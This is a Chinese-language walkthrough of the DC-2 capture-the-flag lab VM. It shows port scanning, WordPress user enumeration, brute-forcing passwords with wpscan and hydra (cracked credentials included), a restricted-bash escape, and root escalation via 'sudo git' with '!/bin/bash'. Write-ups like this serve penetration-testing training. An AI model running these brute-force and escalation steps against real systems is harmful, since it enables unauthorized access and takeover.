目录
DC-2靶机渗透测试
一、实验环境
实验环境:
kali2021:192.168.3.151/24(桥接到vmnet0)
靶机环境DC-2(桥接到vmnet0,MAC地址:00:0C:29:3F:B7:2B)
保证kali和DC-2在同一个网段
二、实验要求
靶机中一共有五个flag文件,我们需要找到它们,即可完成任务。
三、渗透过程演示
开启DC-2环境
DC-2对于我们来说完全是黑盒的,我们所知道的只有它的网卡模式是桥接到VMnet0,MAC地址是00:0C:29:3F:B7:2B
接下来我们需要通过它的MAC地址找到DC-2的IP地址(可知DC-2的IP地址为192.168.3.150)
对这个IP地址做信息收集:
nmap -A 192.168.3.150 -p 1-65535 -oN nmap.A
我们得知DC-2开启了80端口,我们访问一下(访问其IP ,连接失败)
在浏览器输入ip进行访问,发现无法访问
添加本地DNS解析
打开C:\Windows\System32\drivers\etc下的hosts文件,添加如下一行
刷新后发现能成功访问(我们原来输入的是IP地址,它会自动跳转到DC-2)
其实正常情况下来讲,打开浏览器我们输入IP地址的时候,实际上地址栏不应该直接跳到dc-2,如果想正确的访问dc-2这样一个web应用,需要给一个本地的解析,否则访问不了!
除了本地需要修改hosts文件,那我们用kali虚拟机去访问目标80端口的时候,我们也需要去修改一下本机的host文件
vim /etc/hosts
我们测试ping dc-2
这就说明我们通过域名的方式就能去访问dc-2的一个web应用
我们简单去浏览一下这个网站,发现这个网站是用WordPress写的,它是WordPress模板,WordPress是我们开源的cms的PHP编写的
flag1:
观察选项卡的时候发现有个flag,点开,发现flag1
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
给出的提示是:需要使用cewl工具破解密码,用一个身份登录后,能找到下一个flag。所以接下来会用到cewl工具破解密码。使用cewl破解密码前,要先找到wordpress的后台登录地址,通过百度可以查到,后台地址是在首页地址后加wp-login.php,登录界面如下图所示:
cewl工具(自动集成在kali虚拟机)
作用:cewl会自动去爬行网站的网页,工具网页的关键字会生成一个字典
为什么要这么做呢?我们可能在渗透测试或者是攻防演练的过程中,我们需要做一个信息收集,我们往往很多的信息都是放在我们网页里面的
cewl工具使用:cewl 域名或IP地址 > 保存到一个文件中
cewl dc-2 > pwd.dic
我们拿到这个网站,由于它是一个网站,我们观察这个网站的结构,发现它是一层一层的,我们做一个目录的扫描
有很多工具能对网站目录做扫描:dirb、gobuster等
我们这里演示一下用MSF做网站目录的扫描:
启动一下msf:msfconsole
使用辅助模块:use auxiliary/scanner/http/dir_scanner(我们选择了目录扫描模块)
看一下选项:show options我们扫出来两个目录:
[+] Found http://192.168.3.150:80/icons/ 403 (192.168.3.150)
[+] Found http://192.168.3.150:80/wp-includes/ 200 (192.168.3.150)访问一下http://192.168.3.150:80/wp-includes/ 没什么发现
但是知道是用PHP编写的,并且属于WordPress(一个开源的CMS)
接下来使用kali自带的一款工具:wpscan
WPScan使用(WordPress扫描工具)
常用选项
--update 更新到最新版本 --url -u 要扫描的`WordPress`站点. --force -f 不检查网站运行的是不是`WordPress --enumerate -e [option(s)] 枚举 其他选项
u 枚举用户名,默认从1-10 u[10-20] 枚举用户名,配置从10-20 p 枚举插件 vp 只枚举有漏洞的插件 ap 枚举所有插件,时间较长 tt 列举缩略图相关的文件 t 枚举主题信息 vt 只枚举存在漏洞的主题 at 枚举所有主题,时间较长 --exclude-content-based 当使用枚举选项时,可以使用该参数做一些过滤,基于正则或者字符串,可以不写正则分隔符,但要用单引号或双引号包裹 --config-file -c --user-agent -a --cookie --random-agent -r 使用随机User-Agent --follow-redirection 如果目标包含一个重定向,则直接跟随跳转 --batch 无需用户交互,都使用默认行为 --no-color 不要采用彩色输出 --wp-content-dir --wp-plugins-dir --proxy <[protocol://]host:port设置一个代理,可以使用HTTP、SOCKS4、SOCKS4A、SOCKS5,如果未设置默认是HTTP协议 --proxy-auth --basic-auth --wordlist -w --username -U --usernames path-to-file指定爆破用户名字典 --threads -t --cache-ttl cache-ttl设置 cache TTL --request-timeout request-timeout请求超时时间 --connect-timeout connect-timeout连接超时时间 --max-threads max-threads最大线程数 --throttle milliseconds当线程数设置为1时,设置两个请求之间的间隔 --help -h 输出帮助信息 --verbose -v 输出Verbose --version 输出当前版本
在使用wpscan之前我们要做一个工具的更新
wpscan --update 更新工具
apt-get install wpscan wpscan 更新
注:如果wpscan 无法使用,可以尝试更换新的kali 虚拟机,笔者就碰到类似的问题,安装 kali 2020.2 之后,wpscan 启动成功
附清华大学开源镜像站kali2020.2(amd64,installer)下载链接
https://mirrors.tuna.tsinghua.edu.cn/kali-images/current/kali-linux-2020.2-installer-amd64.iso
wpscan查看帮助:wpscan -h
wpscan --url dc-2 -e u 列出WordPress用户和账号
发现admin、Jerry和tom三个用户
我们可以写一个字典,把这三个用户名放到一个字典(user.dic)
接下来可以去尝试爆破,我们要先得到网站的后台(很容易扫到是wp-login.php)
爆破表单方法(可以用burpsuite、wpscan等来爆破)
wpscan 爆破用户
wpscan --url dc-2 -U user.dic -P pwd.dic
接下来使用【tom/parturient】和【jerry/adipiscing】登录网站
登录成功:
网站里面随便逛逛,好像没什么特别的东西
flag2:
我们登录一下jerry(adipiscing)
打开Pages选项,发现flag2
提示:如果你不能再去攻击WordPress,你就考虑其他方法
之前还扫到它开放了7744端口,我们扫描爆破一下:
hydra -L user.dic -P pwd.dic ssh://192.168.3.150 -s 7744 -o hydra.ssh -vV
得到ssh,用户名tom,密码:parturient
我们ssh连接tom:
flag3:
绕过-rbash的限制:
BASH_CMDS[a]=/bin/sh;a 把/bin/bash给一个变量,这个变量叫a
/bin/bash
export PATH=$PATH:/bin/ 导入环境变量
export PATH=$PATH:/usr/bin
提示:把线索引向jerry
其实这四条命令前两条已经完成了绕过,后两句是导入环境变量
flag3中的线索引向了jerry
我们cat /etc/passwd,看看有没有jerry
我们切换jerry:
su jerry
password是adipiscing
flag4:
提示:还不是root权限
我们到根下,看有没有root
接下来我们就应该考虑提权了。
根据flag4的提示,git,想git能不能提权啊?可以
我们执行:sudo -l
查看具有root权限的命令
sudo -l
sudo git能够执行,不要你输入密码
这里就考虑,git能以root权限去执行命令,那git能不能去调用bash
final-flag:
git 提权
看到关键词git提示咱可以使用git提权
可使用sudo git help config(用这个) 或者 sudo git -p help
在输入!/bin/bash即可登录root用户
sudo git -p --help(让git参数强制进入交互模式)
强制进入交互式状态,让页面缓冲区无法显示全部信息
!/bin/bash
发现可以,whoami